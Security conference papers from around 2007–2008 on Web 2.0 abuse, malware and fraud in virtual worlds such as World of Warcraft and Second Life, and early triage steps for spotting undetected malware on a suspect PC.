based on the Social Graph API. Attackers looking to harvest data to construct spam or phishing 
attacks will be very interested in watching how applications implement social graph functionality.

Summary

In this paper we have reviewed some of the technologies and concepts of Web 2.0 applications with 
specific  reference  to  their  potential  abuse by attackers.  The  small  amount  of  Web 2.0  specific 
malware to  date  does  not  reflect  some inherent  strength or  resilience  of  Web 2.0 applications. 
Instead  it  reflects  the  fact  that  attackers  are  achieving  their  goals  using  existing  fairly  crude 
techniques.

Web 2.0 technologies will continue to advance very quickly, presenting increasing opportunities for 
attackers. We will see attacks exploiting application vulnerabilities and and the confusion of users. 
Attacks will move away from proof of concept JavaScript worms. As more sensitive and valuable 
data is involved, it is likely that we will see attackers constructing more subtle, data stealing attacks.

Web 2.0 applications and technologies will become increasingly attractive to spammers. Phishing 
attacks will target OpenID credentials. Marketeers, spammers and scammers will abuse social graph 
technologies to expose users to unwanted content.
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Welcome to Virtual Worlds

Abstract

Tens of millions of people on our planet share their existence between two worlds: the real world 
as  we  all  know it  and one  of  the  many  virtual  universes  accessible  from the  Internet.  These  
universes are highly coveted today. While at first, crime had adapted to the use of the Internet in its  
most conventional aspects, it now seeks to profit from a parallel economy in full expansion.

The first  part  of  this document will  introduce you to these parallel worlds with a summarized 
overview of the opportunities and their related economic aspects. 

Although  gaming  and  socialization  are  highlighted  in  these  universes,  money  rules  supreme. 
Cybercriminals understand that. From both the outside or from within, they adapt their methods 
and invade these places. Here too, the chance of making money arouses great interest.

What  was  unthinkable  a  few years  ago has  become a  reality; virtual  goods,  like  gold  coins,  
armour, characters or islands, are now worth a great deal in the "real world". All means to obtain 
them are valid. The second part  of  the document  deals  with conventional malicious programs  
(viruses and Trojans) related to these environments. 

Through some examples, the third part of our document addresses some more tragic and disturbing 
topics: parallel financial networks, sex and prostitution. 

To conclude, in the fourth section, we will discuss some programming techniques and see how  
some mischief  can be carried out  by means  of  scripts  or  exploits. In  this  initial  version of  a  
document that will evolve over the course of the next few months, we will address only the Linden  
Script Language of Second Life. Many other trails remain to be studied, and the veil has only been 
partially lifted on a phenomenon that we must explore in more depth throughout these next few  
years.

An Introduction to Virtual Worlds
At  the  crossroads  of  massive  multiplayer  online  games,  social  networks  and  geographic 
information systems, virtual worlds have experienced a massive surge of attention.

The game World of Warcraft and universes such as Second Life and Habbo Hotel are among the 
most popular.

These ever-expanding universes are persistent worlds populated by avatars. These are the virtual 
representations of those who frequent them. They can change physical appearance and clothing as 
they wish. In many cases, these are players, as the majority of these worlds are game spaces. They 
are known as MMORPG: Massive Multiplayer Online Role-Playing Games, and are often mythical 
universes  where  heroes,  warriors,  magic,  sorcery,  ancient  cultures  and  supernatural  elements 
coexist. For the most part, I qualify them as medieval (i.e., fantasy), unlike futuristic places like 
Entropia Universe.

For those who do not wish to risk their life at every crossing and who simply wish to meet people 
and gather around various centres of interest, there are several universes aside. These are social 
universes like Second Life.



Figure 1: Virtual Worlds and Associated Universes [1]

Name of Game Category

Dofus
Final Fantasy XI
Guild Wars
Knight Online
Lineage
Lineage II
Runescape
World of Warcraft

Fantasy
Role Playing

Entropia Universe Sci-Fi
Role Playing

Second Life Social

Table 1: The top 10 virtual universes

1 Virtual worlds: Waiting for Metaverse: http://stephanebayle.typepad.com/sl_business_review/Orange-Metaverse.pdf

Video games Virtual universes

Source: SofrecomSocial networks

Video games Virtual universes

Source: SofrecomSocial networks

http://stephanebayle.typepad.com/sl_business_review/Orange-Metaverse.pdf


Figure 2: MMORPG by Genre

Gartner predicts that, by 2011, 80% of active Internet users [2] could have a second life in a virtual 
universe [3]. According to estimates, this could represent nearly 60 million virtual residents. This is 
a reasonable estimate when we consider that there are 7 million users of Habbo Hotel, 8.5 million 
users of World of Warcraft, 20 million Cyworld customers, and 120 million MySpace accounts. By 
2011, China alone could be home to nearly 26 million residents of virtual worlds [4].

Access is free, although limited, for some of them. This is the case with Second Life, where 
without a subscription, you can move around and make friends, but not buy land or open a 
business. Others require a monthly subscription. This is the case with World of Warcraft. To 
differentiate these access styles, experts use the following terminology:

• F2P (Free to Play): totally free,
• B2P (Buy the game to Play): the game is restrained in its free version,
• P2P (Pay to Play): totally paying.

There are more than 8 million active paying accounts in World of Warcraft. Second Life claims to 
have 6.5 million open accounts, not all of which are necessarily active. Only one hundred thousand 
of them are premium; that are paying accounts.

Figure 3: MMORPG by Subscription Number

2 An active Internet user is an Internet user who goes beyond merely viewing the Web, who participates in one way or 
another in its construction: writing a blog, writing comments, participating in a social network / discussion forum, posting 
videos and other multimedia files online, etc.
3 Gartner Says 80 Percent of Active Internet Users Will Have A "Second Life" in the Virtual World by the End of 2011 : 
http://www.gartner.com/it/page.jsp?id=503861
4 Virtual World Population: 50 million by 2011: http://gigagamez.com/2007/05/24/virtual-world-population-
50-million-by-2011/

http://gigagamez.com/2007/05/24/virtual-world-population-50-million-by-2011/
http://gigagamez.com/2007/05/24/virtual-world-population-50-million-by-2011/
http://gigagamez.com/2007/05/24/virtual-world-population-50-million-by-2011/
http://www.gartner.com/it/page.jsp?id=503861


All of these universes use their own virtual money, which has an exchange rate against euros and 
dollars.

Game Associated Money
Dofus Kamas
Entropia 
Universe

PED 

Final Fantasy XI Gil
Guild Wars Gold
Knight Online Dollars US
Lineage II Adena
Runescape Gold
Second Life Linden Dollar
World of 
Warcraft

Gold

Table 2: Some money used in virtual worlds

Whatever the chosen world, nothing is possible without money. In Second Life, the brand war is 
raging. Nike and Adidas are selling shoes. Pontiac and Toyota are selling cars. Security agents, 
sandwich board men and escort-girls are paid. An exotic dancer pays 20% of their income to their 
boss. Besides the major names in fashion, all regular users are trying to make a profit by selling 
necklaces, clothing and other accessories for licentious activities. More than $1.5 million changes 
hands each day in Second Life.

On eBay, people bid for characters or virtual objects. “Zeuzo”, a WoW “night elf rogue” character 
was recently sold for 7,000 euros. According to specialists, it was in possession of an exceptionally 
rare weapon: the Warglaives of Azzinoth, one of only two available in the world [5].

In Second Life, trade is not limited to virtual objects. Many individuals and business are buying 
land.

Outside Threats

Money beckons maliciousness! Even if it bears a different name in each of these universes, the 
term  "gold"  in  conversations  commonly  refers  to  the  various  types  of  money  that  could  be 
encountered. In this second part, we will see that many techniques often used on the Internet for the 
purpose of financial fraud may also target an avatar and their virtual money.

Gold Keylogging - Trojan

Many keyloggers  and password  stealers  are  gaining  interest  in  virtual  worlds.  They  represent 
perhaps 20 to 30% of all the 85,000 PWS that I recently identified. A majority is detected by 
VirusScan under generic terms, but some large families are more finely classified.  For example:

• PWS-Banker: bank connections
• PWS-MMORPG: various MMORPG games
• PWS-LDPinch: gathers information about the system hosting it. Seeks passwords stored on 

the disk (ICQ, TheBat, dialup connection, etc.)
• PWS-Lineage: "Lineage" games
• PWS-Legmir: "Legend of Mir" games
• Keylog-Ardamax: captures keystrokes
• PWS-Goldun: "e-gold" accounts (digital currency)
• PWS-WoW: "World of Warcraft" games

5 The high cost of playing Warcraft: http://news.bbc.co.uk/2/hi/technology/7007026.stm

http://news.bbc.co.uk/2/hi/technology/7007026.stm


• PWS-Gamania: Taiwanese online game site
• PWS-QQGame, QQPass, QQRob: Tecent QQ instant messaging (Asia)

For the top six of them, the following figure shows their change in number over the year 2007.

Figure 4: Top PWS names in VirusScan and their evolution over the year 2007

Gold Keylogging - Viruses

Parasitic viruses remain more discreet than Trojans, but most of the newcomers target online 
games. As shown in the table below, there were many variants of two families of viruses in 2007. 
They were regularly encountered in the wild, primarily in Southeast Asia.

Virus Name Number of variants over the period
2005  2006 2007

W32/HLLP.Philis 18 158 383
W32/Fujacks 0 11 518

Table 3: The most popular parasitic malware in 2007 (cumulative)

Like W32/Bacalid and W32/Detnat, these 2 viruses are targeting MMORPGs and have payloads 
related to online gaming.

• W32/HLLP.Philis   [6]: a prepending virus. Appearing in early 2004, it is written in Delphi 
and downloaded malware that stole login details for “Lineage” and “Legend of Mir” games.

• W32/Fujacks   [7]: In 2006 we saw a wave of viruses from that family that targeted 
“Lineage”, “Legend of Mir” games and the popular Chinese MMORPG game “Zhengtu”. 
We have to note here that the members of W32/Fujacks family have significant code 
similarities with W32/HLLP.Philis. The change in classification is due to the modifications 
in the replication mechanisms—so much so that both families could, in principle, be 
merged for the purpose of counting. W32/Fujacks started using “Autorun.inf” and 
modifying HTM and ASP files.

6 W32/Philis: http://vil.nai.com/vil/content/v_140403.htm
7 W32/Fujacks: http://www.trendmicro.com/vinfo/secadvisories/default6.asp?VNAME=PE_FUJACKS%3A+
Jacking+Up+to+the+Times&Page
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Phishing 
Bank-related phishing also has an equivalent: gold phishing.

In early November, a young Dutch man was arrested for stealing virtual furniture. Using a mirror 
site, he and 5 other friends are said to have stolen up to 4,000€ worth of e-furniture purchased by 
their owners in exchange for real money.



Figure 5: An example of Gold Phishing [8]

The screen capture above is a copy of an e-mail message received by WoW players in October 
2007. Believing they were connecting via the provided link, they were in fact redirected to a mirror 
site resembling a Blizzard site. They were asked for the player's connection info as well as their 
CD key!

Parallel Financial Networks, the Sex Industry and Extremism 

The media regularly reports on reprehensible practices in World of Warcraft and Second Life. This 
chapter presents some examples. Note, however, that I am not reducing the entire population of 
these universes to evil beings, criminals or sexual obsessives; this would disrespect the many users 
who create content and offer friendly places of discussion that are conducive to many exchanges.   

Gold Farming

Stories about gold farming aren’t new. Linked to certain games like World of Warcraft, it is a new 
form of modern slavery. Teenagers are exploited in several countries in Southeast Asia. They make 
virtual money for their employers who re-sell the money for a greater profit. On June 2007, in the 
New York Times magazine, Julian Dibbel describes his tour of the “gold farms” in China. There, 
young Chinese men toil over their keyboards for 12 hours a day collecting virtual money in games 
like World of Warcraft, sleeping in cramped dormitories and earning the equivalent of about 25 
cents an hour. 

I encourage you to watch this video from the following link:

http://www.mathewingram.com/work/2007/06/17/new-york-times-portrait-of-a-virtual-sweatshop/

On the other end of the spectrum, various companies, including the omnipresent IGE, are often 
pointed at. Antonio Hernandez, an American player from the state of Florida, wishing to represent 
all World of Warcraft players, recently filed a complaint against this virtual gold dealer. In the 
official  document  accompanying  the  complaint  [9],  the  player  accuses  IGE  of  making  basic 
resources (minerals, herbs, etc.) rare via gold farming and spamming chat channels. The claimant 

8 Source: http://exodus.superforum.fr/news-f11/warning-keylogger-t2056.htm

http://www.mathewingram.com/work/2007/06/17/new-york-times-portrait-of-a-virtual-sweatshop/
http://exodus.superforum.fr/news-f11/warning-keylogger-t2056.htm


also alleges that IGE’s actions make arena competitions unfair (game field where two teams can 
battle one another) by reducing the opportunities for honest subscribers to receive rewards (for 
example,  exceptionally strong weapons or armour).  According to the complaint,  it  alleges that 
IGE’s  various  actions  lead  to  the  devaluation  of  players’ virtual  money,  which  results  in  an 
economic loss in real dollars. 

Gaming Bots

Illegally buying gold and equipment can help a resident to move up the ladder and attain notoriety 
or a level of gameplay that only a minority of players reach. It may therefore be tempting to keep 
an account running 24/7 to allow its owner to accumulate money, objects and experience without 
having to be physically present in front of the screen. A robot is then used to simulate a human 
player. 

In 2004, Blizzard made the following statement [10]:

We were recently able to confirm that some people are using third-party robot programs 
(or "bots") to automate their characters’ actions in World of Warcraft. The use of robot  
programs is in violation with the Terms of Use of World of Warcraft and is therefore  
strictly  prohibited. Consequently,  accounts  that  have  been  identified  as  having  used 
robots have been banned. 

Blizzard Entertainment  considers  it  to  be a  priority  to  maintain  a  fair  game-playing 
environment in World of Warcraft. As we have said before, our company applies a zero-
tolerance  policy  for  all  forms  of  cheating. Players  caught  using  robots  to  automate 
actions on behalf of their characters will find their characters deleted and their accounts  
banned. They will not receive any warning. More than 300 accounts have already been 
banned for such offences.

Since that date, the statements have continued. Robots are still prohibited, and accounts continue to 
be deleted without curbing the phenomenon. 500,000 accounts are said to have been suspended 
between 2004 and April 2006. For example:

• 59,000 accounts deleted in July 2006 [11]
• 114,000 accounts deleted in May 2007 [12]

Note that there are many other types of robots, including "poker bots" that give an individual the 
ability to participate in several games simultaneously and always optimally. 

Sex and Paedophilia

Earning money is one of the main concerns that residents have. Sex is without doubt one of the top 
activities in Second Life. The encounters, which are often paid for, are far from being the only 
sources of income. When someone creates an avatar, their features and clothing define their sex. 
However, they are missing certain “other attributes” that you can, of course, buy. Some providers 
of sexual positions and naughty accessories earn lots of money: some tens of thousands of dollars 
per month.

9 Hernandez v. IGE : http://docs.justia.com/cases/federal/district-
courts/florida/flsdce/1:2007cv21403/296927/20/0.pdf
10 10/12/04 : Wow Blizzard Zéro Tolérance (Blizzard WoW Zero Tolerance) : http://www.news-
hs.com/Wow_Blizzard_Zro_Tolrance-130.html
11 Blizzard bans 59,000 World of Warcraft accounts: http://nylatenite.wordpress.com/2006/07/27/blizzard-bans-59000-
world-of-warcraft-accounts/

12  Blizzard bans 114,000 WoW accounts: http://wow-guides.co.uk/news/blizzard-bans-114000-wow-
accounts/

http://wow-guides.co.uk/news/blizzard-bans-114000-wow-accounts/
http://wow-guides.co.uk/news/blizzard-bans-114000-wow-accounts/
http://nylatenite.wordpress.com/2006/07/27/blizzard-bans-59000-world-of-warcraft-accounts/
http://nylatenite.wordpress.com/2006/07/27/blizzard-bans-59000-world-of-warcraft-accounts/
http://www.news-hs.com/Wow_Blizzard_Zro_Tolrance-130.html
http://www.news-hs.com/Wow_Blizzard_Zro_Tolrance-130.html
http://docs.justia.com/cases/federal/district-courts/florida/flsdce/1:2007cv21403/296927/20/0.pdf
http://docs.justia.com/cases/federal/district-courts/florida/flsdce/1:2007cv21403/296927/20/0.pdf


Reflecting our real world, virtual paedophilia is present. Residents who so desire can attempt to 
have a sexual experience with virtual children. This deviance, which among other things involves 
using a child avatar in Second Life, is called Ageplay.

Sky News has a video on the subject, available from the following link:

http://news.sky.com/skynews/article/0,,91221-1290719,00.html

Extremist Movements

Many extremist or racist groups have websites, so it is not surprising to come across some of them 
in Second Life. If they do not stay quiet, it seems however that they have trouble remaining there. 
In December 2006 and with many statements to that effect, the Front National boasted about being 
"the  first  French  and  European  political  party  to  establish  an  official,  permanent  presence  on 
Second Life"[13]. The (virtual) demonstrations and signage seem to have very quickly discouraged 
the followers of this French political group. 

Second  Life  also  hosts  groups  of  virtual  revolutionaries  who  try  to  disturb  some  islands  or 
properties  belonging  to  leading  brands  or  official  political  parties.  They  claim some  right  of 
inspection for the avatars on Second Life developments and a form of avatarian democracy that 
could counterbalance the power of companies, which they believe to be too large with Linden Lab. 
To  distribute  their  message,  they  don’t  hesitate  to  develop  destructive  scripts[14]  or  call  upon 
hitmen. If you have a good understanding of the programming language, you could effectively 
simulate an attack or kill an avatar. But rest assured, if you are killed in Second Life, you just close 
the session and re-open it by selecting a calmer location for your next teleport.

Inside Threats and Script Languages

Virtual  worlds  have  their  own scripting  languages.  First  is  “Lua”,  because  it  is  common and 
because it is used in “World of Warcraft”. Second is “LSL” because it is a very rich scripting 
language  of  “Second  Life”  and  this  environment  offers  enormous  flexibility  in  supporting 
commerce, advertising and creativity. Therefore we should expect many standard attacks (phishing, 
spam, viruses, etc.) to materialize there first.

Until now, we only know some anecdotal facts:

• In  2005,  a  bug  led  to  a  viral  epidemic.  A deadly  and  "true  virtual  pathogenic  virus" 
exterminated characters below level 50. The origin seemed to be related to the application 
of a patch that put a new dungeon online. In this dungeon players, coders on the side in 
their  spare  time,  seemed  to  have  "hijacked"  a  combat  spell  "Corrupted  Blood"  by 
transforming it into a highly communicable item. The developers create "quarantine areas" 
in which players settled for dying without contaminating "healthy" people.

• In 2006, Second Life temporarily closed its doors following the appearance of a piece of 
"malicious software". It's a golden ring that splits into two once it is touched. Within a short 
amount of time, the servers were considerably slow.

• In August 2006, some script viruses which were targeting the Lua script language were 
discovered by “Garry’s Mod” players. Since this date, various viruses and fake anti-viruses 
have been circulating in these environments.

13 Le Front dans Second Life (The Front in Second Life): http://e-
patriote.spaces.live.com/blog/cns!3265B2FCB3A8C72F!847.entry
14 Vandals 'bomb' ABC Island : http://www.smh.com.au/news/web/vandals-bomb-abc-
island/2007/05/22/1179601400256.html

http://e-patriote.spaces.live.com/blog/cns!3265B2FCB3A8C72F!847.entry
http://e-patriote.spaces.live.com/blog/cns!3265B2FCB3A8C72F!847.entry
http://news.sky.com/skynews/article/0,,91221-1290719,00.html


LSL Scripting Language

The Linden Scripting Language was developed to allow players create their own objects and define 
their behavior thus giving users the tools to create the scripts that essentially define local game 
rules. This exceptional flexibility makes LSL very interesting from security perspective. 

LSL is an event-driven C-like language that gets compiled into byte-code and executed in a virtual 
machine on “Second Life” server. There is no explicit persistency but scripts can be attached to in-
game objects (to be precise, scripts are attached to so-called “prims” many of which can be linked 
into an object) which can be saved and reused. 

A tradition in learning programming languages is to start with a very simple program that merely 
says, "Hello World!"  The version adapted for Second Life simply says, "Hello Avatar!" in the chat 
window. This little program is automatically generated when associating a script to a newly created 
"prims":

Figure 6: Example of a basic program in LSL

LSL comes with over 310 built-in functions that allow scripts and objects to interact with their 
environment. All of the built-in functions start with "ll" -- those are lower-case 'L's, for "Linden 
Library".

Figure 7: Example of a script in Second Life

With  LSL scripting  one  can  create  really  complex  objects  and  video  simulations.  With  the 
llParticleSystem function, it is possible to create a visual simulation of a terrorist attack.

default
{
    state_entry()
    {
        llSay(0, "Hello, Avatar!");
    }
}
}



Figure 8: Visual effect of a script simulating a big explosion in “Second Life”

Some functions may prove dangerous if they are diverted from their normal use. For example: 

• Sending e-mails
o llEMail. To counter the risk of spam, a 20-second delay is set within the script after 

sending an email.
• Sending an XML-RPC request

o llSendRemoteData. To counter the risk of DDoS attacks, a 3-second delay is set 
within the script after the request.

• HTTP interface
o llHTTPRequest. 1-second delay
o llLoadURL. 1-second delay 



As mentioned above, for some critical commands, a minimum delay time has been imposed after 
their execution before the script continues [15].

Figure 9: LSL Wiki : ScriptDelay

Conclusion

I won’t end this document on a negative note. Virtual worlds are true places for exchanges for 
individuals, artists and businesses as long as they do not lock themselves away in them and forget 
to go out into the real world.

Here in virtual worlds, however, threats are abundant, and although I haven’t fully addressed them 
in this first version of the document, the reader can still see their great diversity. They first were 
transposed from the real world to the traditional Internet world. They are now moving to virtual 
worlds where money circulates in an environment where security has not yet found its place. 

Here  again,  risk  management  must  be  a  concern  across  the  board,  integrating  its  technical, 
economic, human and legal dimensions. Among the trails to explore over the next few months are:

• the need for better authentication when connecting to the server,
• consideration for security aspects when developing this type of game software,
• the introduction of a tax (in virtual money) for some types of e-mails or some XML/RPC 

requests, which could discourage spam and DDoS attacks,
• creation of a virtual police force that could "penalise" offenders,
• recording the origin of certain potentially dangerous activities and financial transactions 

surpassing a certain threshold or frequency in centralised log files,

15 LSL Wiki : ScriptDelay: http://lslwiki.net/lslwiki/wakka.php?wakka=ScriptDelay

http://lslwiki.net/lslwiki/wakka.php?wakka=ScriptDelay


• automated searching for some forms of cheating, associated with automated punishments, 
such as rollbacks. This will restore the state of the virtual world to some previous historic 
point  (which  will  revert  all  modifications  that  took  place  after  this  moment  in  time, 
including movement of characters and/or transactions that took place),

• the need to consider a possible legal status for avatars. 

We must  successfully work together (AV researchers,  online game developers  and authorities), 
because we cannot escape the development and infatuation for these new universes that, whatever 
we think of them, could revolutionalize the Internet of tomorrow.
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Where To Now - 
Detecting the Unknown?

Abstract

The  increasing  speed  of  new malware  strains  being  written  and  released  means  that  security  
professionals are more likely than ever before to see new malware.

This means new malware which is not detected by the anti-malware solutions they have deployed in  
their infrastructure, be it workstation, server, PDA or at the gateway.

Imagine this scenario: An end-user calls the helpdesk and reports that their system is running very  
sluggishly when it wasn't a week ago and that they can't access the Windows 'Task Manager' or  
open a command prompt any more.

Is this caused by malware or is it a 'user' problem? The virus scanner is right up to date and active,  
and it says the system is clean; the personal firewall is active too. Where do you go from here? 
Investigate or rebuild the box?

How can you tell if the machine is clean or infected by a new malware, with a reasonable level of  
confidence for your conclusion?

This paper will look at what tricks, tools and techniques you can use to help establish the true state  
of the 'suspect' system. It will focus on a step by step approach of what tools to use, what to look for  
and what to do with any suspicious files. It will also discuss the use of forensic tools in such a  
scenario, as a last port of call.

The paper will draw on real scenarios where new [undetected] malware has been responsible for 
'odd' system or network behaviour.

Disclaimer:

Products or services mentioned in this paper are included for information only. Products and/or 
services listed, mentioned or referenced in any way do not constitute any form of recommendation 
or endorsement by IBM or the papers author.

Introduction

This paper will look at what tricks, tools and techniques you can use to help establish the true state 
of the 'suspect' system. It will focus on a step by step approach, including suggestions on what tools 
to use, what to look for and what to do with any suspicious files. It will also discuss the use of 
forensic tools in such a scenario, as a last port of call.

The paper will draw on real scenarios where new [undetected] malware has been responsible for 
'odd' system or network behaviour.

Before we start let us cover a few definitions so that we all know what I mean by the relevant terms 
used in this paper.

I would strongly suggest that unless you have in-depth knowledge of malcode and related security 
threats that you try and obtain copies of the books/papers/articles listed in Appendix A.

What is Malware?

I will use the following definition which originally appeared in my Virus Bulletin 2005 paper: Bots  
and Botnets: Risks, Issues and Prevention.



“Malware is the generic name [or short name] used to describe Malicious Software. This includes  
viruses, worms, Trojans, bots and related threats.

In the ‘old-days’ [1980s and early 1990s] malware took a long time to spread widely, typically  
months.

However, once the internet and networks became ubiquitous they started to spread wide and far 
more quickly, typically weeks. Malware that spread via e-mail took the next step, spreading widely  
in days or less than a day. Then came the likes of CodeRed, Blaster and Slammer which could be  
widespread in hours. In Slammer’s case 90 percent of vulnerable systems were infected in under 10  
minutes [mainly because it used UDP instead of TCP and could in theory have fired off 30,000  
scans per second on a 100Mbps network. In reality however Slammer averaged around 4,000 scans  
per second per infected system]

The almost instantaneous appearance of new mass-mailing worms in all geographic areas of the 
World has been blamed on the use of botnets as launch points. Imagine a botnet of 10,000 plus  
systems that are ordered to spam a new mass-mailer [or Trojan] out to the world, or even to infect 
themselves to effectively kick-start the infection.

For example, the Witty worm was reported to have been launched from a small bot net of around 
4,200 zombies. This allowed it to virtually appear almost instantaneously all over the world at the  
same time and to start searching for new victims to infect/attack.

It has been widely suspected that many of the recent most successful mass-mailing worms have used  
botnets to enable faster initial world-wide distribution, effectively giving the worm a head start.  
These include: MyDoom, Netsky and Bagle amongst others.”

Discussion

This section of the paper will discuss ways to try and decide whether a system is infected or not by 
a new [or currently unknown] malcode which your current anti-malware defences do not detect. 

This  can  not  be  done  with  complete  accuracy  [although  you can  get  pretty  close]  due  to  the 
complexity of computer operating systems and also a fair proportion of modern malcode itself.

To give ourselves the best chance or achieving the goal of proving [beyond reasonable doubt] that a 
suspected system is simply faulty [hardware/software fault] or actually infected by one or more 
malcodes, we will offer advice on what evidence to gather from existing tools on the system and the 
network it is attached to. Finally we will then discuss other tools, techniques and tricks you can use 
to help you find and eliminate any malcodes found on the suspected system being analysed.

Firstly,  we  will  briefly  look  at  the  changes  in  malcode  itself  over  the  years,  so  that  you  can 
understand what you are up against.

The problem

To save time and having to effectively repeat myself, I will use the following part of the conclusions 
from my Virus Bulletin 2007 paper: The Journey, So Far: Trends, Graphs and Statistics.

“It has been an interesting journey, since the start of the problem with malware on the IBM PC and  
compatibles in 1986 with Brain.

We can see the following trends since those first tentative steps:

1986  until  early  nineties  they  were  the  almost  exclusive  domain  of  the  DOS COM,  EXE file  
infectors and boot viruses. They became more complex and stealthy as the years passed. We also  
saw viruses  that  would  attack or  disable  anti-virus  defences.  Mostly  the  motivations  for  these  
creations were, in the early days, curiosity and research; later it became the electronic equivalent 
of graffiti, vandalism or bullying. Occasionally it would be used to get a message across, be it  
personal or political.



From 1995-2000 Macro viruses were King, slowly spreading at first, as people exchanged infected  
.doc/.xls files via floppy, CD or e-mail. Later examples would be able to propagate via e-mail by  
reading the Outlook or Windows address book, but only after a recipient had opened the infected  
attachment.  Mostly  the  motivations  for  these  later  creations  were  the  electronic  equivalent  of  
graffiti,  vandalism or  bullying.  Occasionally  it  would  be  used  to  get  a  message  across,  be  it  
personal or political. There were less likely to be motivated by research.

2000-2003 saw Script viruses steal the crown from Macro viruses, and we also started to see 32 bit  
PE files becoming dominant; multi-component malware started to appear. A large proportion of  
malware started to use vulnerabilities in both the OS and applications. The motivations for this  
period were almost the same as for those between 1995 and 2000.

2004 to the start of 2005, the mass-mailing worms were the Kings; resulting in many overloaded  
mail servers and worn-out anti-virus researchers and corporate security staff. However, in most  
cases the motivations were the same as before, although the shift towards seeing malware as a  
business tool had already started. Social-engineering was becoming more widely used.

2005-2007  and the  new Kings,  were  BOTs,  Trojans  and Spyware.  Phishing  grew from almost  
nowhere to one  of  the  biggest  security  risks,  aside  from malware.  The motivations for  writing  
malware changed dramatically from the start of 2005. Money was the main motivational driver, and  
this would grow as organised crime got into the act, and slowly took over. Many malware authors  
were regularly trying to disguise their creations using packers and compressor, such as UPX, ACE,  
PEX, etc. The use of social-engineering was very noticeable and by 2007 it had become almost the  
most common method used by malware authors to get their creations onto a computer, aside from 
using vulnerabilities.”

So, in summary what we have seen is not only the birth of malware on the IBM PC in 1986 but also 
the birth of Stealth malware too. Since then we have seen increasingly complex malware [as well as 
a lot of very mundane and simple ones]. The techniques used over the years include:

• File infection [and not just .COM and .EXE].

• Boot Sector [MBR and DBR] infection.

• Stealth and it’s rebirth as Windows Rootkits.

• Polymorphism and it relatives [including server-side].

• Macro and Script malcode.

• Entry Point Obfuscation [EPO]

• Cavity, Link, Prepending, Appending, Companion, Sparse infectors.

• Trojans, Worms and Bots.

• Spyware and Adware.

• Packers and Compressors.

• BHOs, LSPs, Fake Codecs and Plugins

• Packet and Keyword Filters. 

• Data-diddling and Encryption.

• File, Directory or Operating System damage or removal [including formatting drives]

• Resident or Direct infection.

• Exploit code and vulnerabilities.

• Anti-malware detection and removal.



• Personal Firewall detection and removal.

• Other malware detection and removal.

• Virtual Machines [running inside and detection of].

• Social Engineering.

The above list is not complete, it is there to give you a flavour of the many techniques; infection, 
damage, protection and hiding, that have been used since the dawn of IBM PC malware.

At the time of writing this paper there were over 383,000 known malware strains1

Speed of infection/infestation?

How long can an unprotected PC last on the Internet before it gets infected/infested?

Well, according to the latest data from SOPHOS, just 720 seconds!

Here's a quote from them which was used in an article on The Registeri in 2005:

"More computer viruses and worms mean an unprotected Windows PC (without either firewall or 
antivirus protection) stands a 50 per cent chance of infection by a worm after just 12 minutes  
online. Graham Cluley, senior technology consultant at Sophos, conceded"

Are you surprised just how quickly your PC(s) can get infected? Well, you shouldn't be!

Am I surprised at this?

No, not at all, in fact I've seen systems infected even faster than this by more than one malware 
strain.

So, as the average Windows PC [once unboxed and connected to the internet] has a life expectancy 
of around 10 minutes before getting a digital dose of the Pox, and sometimes more than one strain 
to boot!

I know of systems that have had 6 different doses of different digital Pox [Malware] in less than an 
hour and that's on a slow day!

The above assumes that the PC is does not have a firewall installed and/or enabled, no anti-malware 
tools installed, or it isn’t up-to-date and/or enabled for on-access scanning.

That was back in 2005, the situation in 2008 is significantly worse due to the commercialisation of 
malware, which is mainly due to cyber-criminals and their ilk.

Solutions

Right hopefully by the time you have reached this point of the paper, you now understand the 
threats, infection vectors used, techniques employed and the speed of infection? If not, then if you 
haven’t already I’d strongly suggest that you go and read my papers from EICAR 2005 and 2006 
and  Virus Bulletin 2005-2007 as otherwise you might not get the most out of this section of the 
paper.

So, if you are ready, let me begin by covering the first steps of the process to try and determine if a 
system is infected or just faulty. I will mention tools as we proceed, but I will not cover them in any 
detail at that point. For details on a specific tool please see the  Tools section of the paper which 
included links to the homepages, or the download page for that tool or product.

Step 1: Identifying Suspect Systems

The first thing to do is to understand that you have a problem; the next thing to do is to try and 
identify possible systems that may be infected. 

1 Source: McAfee



This information can come from help-desk tickets [personal firewall or anti-malware alerts, strange 
system behaviour, etc], Log files from your routers, proxies, firewalls, IDS/IPS systems, DNS and 
so on, or maybe even just a passing comment from a colleague or even a customer or other third 
party [maybe to your abuse@yourdomain.com e-mail address].

Once you have a potential suspect, gather all the data you can from it and network traffic to and 
from it, including all ports and protocols used as this may help to narrow down your search.  At this 
point you should consider removing the suspected system from you network until your investigation 
is completed [this helps to minimise the chance of further infections, data loss, and so on].

Once  the  machine  has  been  removed  from the  main  network,  you can  either  investigate  it  in 
isolation or move it to a test [secure] network used for analysing suspected infected systems.

To analyse suspected traffic on your test network you could use tools such as SNORT, WireShark or 
WinDump [you may also need to install WinPCap first, unless you are using *NIX or a Mac] or one 
of the many other IDS/IPS or packet/protocol analysers that exist.

You may also decide to carry out some vulnerability assessment of the suspected system; this can be 
done via tools such as Nmap, Superscan, Nessus or the Microsoft Baseline Security Analyzer.

Step 2: Analyse The Data (Part 1)

At this point you may already be able to state with some level of confidence that the system is 
infected by a malcode which  phones-home.  Examples of these include bot clients, or a Trojan or 
multi-component malcode [such as a dropper] that has contacted one or more websites to download 
other malcode or adware to install. This act, in many cases effectively starts a chain reaction leading 
to a heavily infected system with tens or hundreds of malcode files [or components] installed.

In  either  case,  you  could,  visit  the  websites,  FTP sites  or  IRC channels  used  to  gather  more 
information or even a fresh sample [or samples, scripts, etc.] of what you are fighting. This will help 
in your remediation, as well as allowing you to supply your anti-malware vendor with something to 
analyse, which in turn could end up making remediation [or at least detection] easier.

Step 3a: Scan The System

Scan  with  up-to-date  anti-malware  tools  [anti-virus,  anti-spyware,  anti-rootkit,  etc.]  and  see  if 
anything is identified, ensure that heuristics and generic detection features are enabled. Preferably 
you should use at least two different products from each category, after all the anti-malware solution 
you have deployed didn’t detect it, did it?

Try clean-booting if performing a  live system scan fails [or if a Windows system try booting into 
Safe Mode first] to find anything. Clean booting will ensure that any active malware or related 
processes are not active. You can use BartPE or a Live Linux CD/DVD to do this and either include 
your scanning tools on the disc or a USB flash drive instead.

Any files identified as malcode or flagged as suspicious [assuming you have remembered to enable 
heuristics and/or other generic/behavioural features of the scanners], should be copied to a USB 
flash drive or other removable media and labelled as potential malcode to minimise the chances of 
anyone accidently executing the files on another system.

As with Step 2, if you now have some suspected files, send them to your anti-malware vendor for 
analysis,  however,  this  does  not  stop  you analysing  the  files  yourself  [assuming you have  the 
